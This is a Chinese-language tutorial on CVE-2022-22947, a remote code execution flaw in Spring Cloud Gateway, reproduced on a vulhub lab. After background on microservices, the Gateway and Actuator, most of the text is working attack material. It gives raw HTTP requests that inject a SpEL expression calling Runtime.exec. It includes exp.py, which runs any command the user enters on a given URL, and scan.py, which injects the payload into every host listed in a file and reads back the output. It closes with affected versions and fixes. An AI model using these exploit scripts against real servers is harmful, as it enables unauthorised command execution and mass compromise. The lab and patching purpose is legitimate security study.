CVE-2022-22947-Spring Cloud Gateway RCE
基本介绍
微服务架构与Spring Cloud
最开始时,我们开发java项目时,所有的代码都在一个工程里,我们把它称为单体架构。当我们的项目的代码量越来越大时,开发的成员越来越多时,这时我们项目的性能以及我们开发的效率都会存在非常大的问题,所以对于这样的项目,我们需要把它拆分为不同的服务,举个列子,原来很大的一个工程,我们把它拆分为一个个服务,比如说订单服务、用户服务、商品服务、物流服务、资金服务等等,因为有了这些服务之后,我们又引入了服务网关、服务注册发现、配置中心、调用链监控、Metrices监控等等的这些组件对这些服务进行协调和管理
Spring的开发团队,在Springboot框架的基础上开发了一个Spring Cloud生态
- Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul
- Consul、Gateway、Bus、Stream、Sleuth、 zipkin
- Nacos、Sentinel、Seata
我们使用这些现成的微服务去开发一个项目,相较于以前是非常的便捷的,而我们这次需要去复现的漏洞出现位置的组件就叫做Gateway,是一个网关的组件
我们开发一个项目时,因为拆分出来的服务太多了,对于用户来说,在一个项目中,去调用那么多的服务,非常的麻烦,所以我们就用一个统一的入口,这个入口就叫做服务网关
网关的作用:
- 智能路由
- 负载均衡
- 协议转换
- 权限校验
- 限流熔断
- 黑白名单
- API监控
- 日志审计
所以网关的功能是非常强大的,他在我们微服务的架构中也是非常的必要的
微服务架构的选择方案:
- Netflix Zuul
- Spring Cloud Gateway
- Kong
- Nginx+Lua
在我们一个Spring 框架里去创建一个网关的微服务,只需要在pom.xml文件中引入下面这个依赖:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
Spring Cloud Gateway概念
- 路由(Route)
- 断言(Predicate)
- 过滤器(Filter)
Spring Boot Actuator
Spring Boot Actuator是 Spring Boot中一个监控的组件
Actuator的作用:
- 健康检查
- 审计
- 统计
- HTTP追踪
在我们一个Spring 框架里去创建一个Actuator,只需要在pom.xml文件中引入下面这个依赖:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
我们可以使用Actuator去监控Gateway,只需要在配置文件中添加以下代码:
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
Actuator给我们提供操作Gateway接口列表
http://host:port/actuator/gateway/id
漏洞复现
此处复现我们使用的是vulhub提供的靶场,关于如何下载这个靶场,我就不多说了,太基础的东西了
下载好vulhub的靶场后进入CVE-2022-22947
运行如下代码启动和安装环境
docker-compose up -d
查看端口是否开放
docker-compose ps
打开浏览器访问URL地址
BP进入重放器模块
添加过滤器payload(这里的IP端口记得改为你的)
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "wuyaaq",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
发送包,过滤器规则添加成功:
刷新过滤器payload
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
a=1
发送包,返回显示刷新成功
访问过滤器IDpayload
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
或者这一步直接在浏览器中执行访问
http://IP:8080/actuator/gateway/routes/hacktest
可以看到我们输入whoami的命令执行了
自动化检测该漏洞
将下列代码保存为exp.py
import requests
import json
import base64
import re
payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Connection': 'close',
'Content-Type': 'application/json'
}
proxies = {
'http': 'http://192.168.0.112:8080'
}
data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='
data1 = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '0'
}
def exec():
# 执行命令
requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
# 获得结果
requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
#
a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
print(exec)
if __name__ == '__main__':
url = input("Url:")
cmd = input("Cmd:")
exec()
python exp.py
原理分析
问题:为什么添加过滤器(路由)会导致代码执行?
流程:
1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
2、可以通过/gateway/routes/{id_route_to_create} 创建路由
3、通过/actuator/gateway/refresh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行
扫描与修复
漏洞影响范围:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
https://tanzu.vmware.com/security/cve-2022-22947
批量检测代码
将以下代码保存为scan.py
import requests
import urllib3
import json
import re
urllib3.disable_warnings()
cmd='whoami'
a='''
$$$ $$ $$ $$$$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$ $$$$$
$$ $ $$ $$ $$ $ $$ $$ $$ $ $$ $ $$ $ $$ $ $$ $$ $$ $$$ $$
$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $ $$ $$
$$ $$$$ $$$$$ $$$ $$ $$ $$ $$ $$ $$$ $$ $$ $$ $$ $ $$ $$
$$ $$$$ $$ $$ $$ $$ $$ $$ $$ $$ $$$$ $$$$$$ $$
$$ $ $$$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$$ $$ $$$$$ $$$$$ $$$ $$$$$ $$$$$ $$$$$ $$$$$ $$$ $$ $$
'''
b ='python CVE-2022-22947_POC.py url.txt'
uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
payload = {
"id": "code",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
}
}],
"uri": "http://ggg.cpdd",
"order": 0
}
#刷新路由
def refresh(url):
try:
rf=url+uri_refresh
req_refresh =requests.post(url=rf,verify=False,timeout=1)
code_refresh=req_refresh.status_code
if code_refresh==200:
print('[+]刷新路由成功')
else:
print('[-]刷新路由失败')
# print(code_refresh)
# print(code_refresh)
except requests.exceptions.RequestException:
print('[-]刷新路由超时')
except:
print('[-]刷新路由异常')
def huixian(url):
try:
req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
req_huixian_text=req_huixian.text
req_huixian_code =req_huixian.status_code
if req_huixian_code==200:
req_huixian_text = req_huixian_text.replace("'", '')
req_huixian_text = req_huixian_text.replace(" ", '')
req_huixian_text = req_huixian_text.replace("\\n", '')
req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
huixian =req_huixian_re_1[0]
print(f'[+]获取回显命令成功:{huixian}')
# print(req_huixian_text)
else:
# print(req_huixian_code)
print('[-]获取回显失败,请手动测试')
except requests.exceptions.RequestException:
print('[-]获取回显超时')
except:
print('[-]获取回显异常,请手动测试')
#删除命令注入
def del_rce_in(url):
all=url+uri_check
try:
req =requests.delete(url=all,verify=False,timeout=2)
code = req.status_code
if code ==200:
print('[+]删除注入路由成功')
else:
print('[-]删除注入路由失败')
except requests.exceptions.RequestException:
print('[-]删除注入路由超时')
except:
print('[-]删除注入路由异常')
#批量检测漏洞
def poc(txt):
f =open(txt)
f=f.readlines()
for url in f:
url =url.strip('\n')
url =url.strip('/')
try:
all =url+uri_check
req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
code =req.status_code
if code ==201:
# print(code)
print(f'[+]{url}疑似存在漏洞')
poc_file=open('success.txt','a+')
poc_file.write(url+'\n')
poc_file.close()
refresh(url)
huixian(url)
del_rce_in(url)
refresh(url)
# refresh(url)
else:
print(f'[-]{url}不存在漏洞')
# continue
except requests.exceptions.RequestException:
time_poc=f'[-]{url}漏洞检测超时'
print(time_poc)
pass
except:
print(f'[-]{url}rce注入失败,请检查网站是否能访问')
continue
if __name__ == '__main__' :
print(a)
poc('url.txt')
然后在相同的目录下准备一个url.txt的文件,里面写上要批量检测的地址
然后执行代码进行批量检测
python scan.py
修复
1.更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2.在不考虑影响业务的情况下禁用 Actuator 接口:
management.endpoint.gateway.enable:false